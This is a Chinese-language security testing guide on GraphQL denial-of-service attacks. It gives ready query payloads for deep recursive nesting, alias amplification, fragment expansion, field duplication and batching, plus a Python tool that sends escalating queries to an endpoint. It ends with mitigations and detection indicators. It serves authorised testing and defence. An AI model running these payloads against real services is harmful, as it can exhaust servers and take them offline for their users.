performing-graphql-depth-limit-attack

执行 GraphQL 深度限制攻击

概述

GraphQL 深度限制攻击利用 GraphQL 模式的递归特性，构造深度嵌套的查询，消耗过多的服务器资源，导致拒绝服务。与端点固定的 REST API 不同，GraphQL 允许客户端请求任意的数据结构。当模式包含循环关系（例如 User -> Posts -> Author -> Posts）时，攻击者可以构造无限递归的查询，使服务器的 CPU、内存、数据库连接和网络带宽不堪重负。

何时使用

• 在进行涉及执行 graphql 深度限制攻击的安全评估时
• 在遵循相关安全事件的事件响应流程时
• 在执行计划的安全测试或审计活动时
• 在通过动手测试验证安全控制措施时

前提条件

• 启用了内省或模式已知的目标 GraphQL API 端点
• GraphQL 客户端工具（GraphiQL、Altair、Insomnia 或 curl）
• Python 3.8+ 及 requests 库，用于自动化测试
• Burp Suite 或 mitmproxy，用于流量分析
• 获得对目标执行安全测试的授权

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能属于违法行为，可能违反计算机欺诈相关法律。

核心攻击技术

1. 递归深度攻击

当 GraphQL 模式具有双向关系时，查询可以递归地引用它们：

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. 基于别名的放大

当批量查询被阻止时，别名可以在单个查询中成倍增加同一字段请求：

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}

3. 片段展开攻击

片段可用于更高效地构造复杂、深度嵌套的查询：

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. 字段重复攻击

在选择集中多次重复同一字段会增加处理量：

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. 批量查询攻击

在单个 HTTP 请求中发送多个查询：

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

自动化测试脚本

#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool

Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """Generate a recursively nested GraphQL query to a specified depth."""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query += " }" * (depth + 1)  # Close all braces
        query += " }"
        return query

    def generate_alias_query(self, count: int, inner_query: str) -> str:
        """Generate a query with multiple aliases."""
        aliases = []
        for i in range(count):
            aliases.append(f"a{i}: {inner_query}")
        return "{ " + " ".join(aliases) + " }"

    def send_query(self, query: str, timeout: int = 30) -> dict:
        """Send a GraphQL query and measure response metrics."""
        payload = json.dumps({"query": query})
        start_time = time.time()
        try:
            response = requests.post(
                self.endpoint,
                data=payload,
                headers=self.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
            return {
                "status_code": response.status_code,
                "response_time": round(elapsed, 3),
                "response_size": len(response.content),
                "has_errors": "errors" in response.json() if response.status_code == 200 else True,
                "error_message": self._extract_error(response),
                "success": response.status_code == 200 and "errors" not in response.json()
            }
        except requests.exceptions.Timeout:
            elapsed = time.time() - start_time
            return {
                "status_code": 0,
                "response_time": round(elapsed, 3),
                "response_size": 0,
                "has_errors": True,
                "error_message": "Request timed out",
                "success": False
            }
        except requests.exceptions.ConnectionError:
            return {
                "status_code": 0,
                "response_time": 0,
                "response_size": 0,
                "has_errors": True,
                "error_message": "Connection refused - possible DoS",
                "success": False
            }

    def _extract_error(self, response) -> str:
        try:
            data = response.json()
            if "errors" in data:
                return data["errors"][0].get("message", "Unknown error")
        except (json.JSONDecodeError, IndexError, KeyError):
            pass
        return ""

    def test_depth_limits(self, max_depth: int = 20):
        """Progressively test increasing query depths."""
        print(f"Testing depth limits from 1 to {max_depth}...")
        print(f"{'Depth':<8}{'Status':<10}{'Time(s)':<12}{'Size(B)':<12}{'Result'}")
        print("-" * 65)

        for depth in range(1, max_depth + 1):
            query = self.generate_nested_query(depth)
            result = self.send_query(query)
            result["depth"] = depth
            self.results.append(result)

            status = "OK" if result["success"] else "BLOCKED"
            print(f"{depth:<8}{result['status_code']:<10}{result['response_time']:<12}"
                  f"{result['response_size']:<12}{status}")

            if result["error_message"] and "depth" in result["error_message"].lower():
                print(f"\n[+] Depth limit detected at depth {depth}")
                print(f"    Error: {result['error_message']}")
                return depth

            if result["status_code"] == 0:
                print(f"\n[!] Server became unresponsive at depth {depth}")
                return depth

        print(f"\n[!] WARNING: No depth limit detected up to depth {max_depth}")
        return None

    def test_alias_amplification(self, alias_counts: list = None):
        """Test alias-based amplification attacks."""
        if alias_counts is None:
            alias_counts = [1, 5, 10, 25, 50, 100]

        print(f"\nTesting alias amplification...")
        inner = 'user(id: "1") { posts { title } }'

        for count in alias_counts:
            query = self.generate_alias_query(count, inner)
            result = self.send_query(query)
            status = "OK" if result["success"] else "BLOCKED"
            print(f"  Aliases: {count:<6} Status: {result['status_code']:<6} "
                  f"Time: {result['response_time']:<8}s  {status}")

    def generate_report(self) -> dict:
        """Generate a summary report of all tests."""
        successful = [r for r in self.results if r["success"]]
        blocked = [r for r in self.results if not r["success"]]
        max_successful_depth = max([r["depth"] for r in successful], default=0)

        return {
            "endpoint": self.endpoint,
            "total_tests": len(self.results),
            "successful_queries": len(successful),
            "blocked_queries": len(blocked),
            "max_successful_depth": max_successful_depth,
            "depth_limit_enforced": len(blocked) > 0,
            "vulnerability": "HIGH" if max_successful_depth > 10 else
                           "MEDIUM" if max_successful_depth > 5 else "LOW"
        }


if __name__ == "__main__":
    endpoint = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4000/graphql"
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=15)
    tester.test_alias_amplification()

    report = tester.generate_report()
    print(f"\n{'='*50}")
    print(f"REPORT SUMMARY")
    print(f"{'='*50}")
    for key, value in report.items():
        print(f"  {key}: {value}")

缓解策略

深度限制

// Using graphql-depth-limit (Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});

查询复杂度分析

// Using graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('Query complexity:', complexity);
  }
});

速率限制和超时控制

# Server-side timeout configuration
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}

检测指标

• 服务器日志中出现异常深或复杂的 GraphQL 查询
• 响应时间激增，且与特定查询模式相关
• GraphQL 服务进程的内存或 CPU 使用率高
• 查询复杂度逐步增加的重复请求
• 单个查询请求产生大量响应负载

参考资料

• OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
• Apollo GraphQL Security Guide: https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries
• Checkmarx GraphQL Depth Exploitation: https://checkmarx.com/blog/exploiting-graphql-query-depth/
• GraphQL.org Security: https://graphql.org/learn/security/
• Escape.tech Cyclic Queries: https://escape.tech/blog/cyclic-queries-and-depth-limit/
• PortSwigger GraphQL Vulnerabilities: https://portswigger.net/web-security/graphql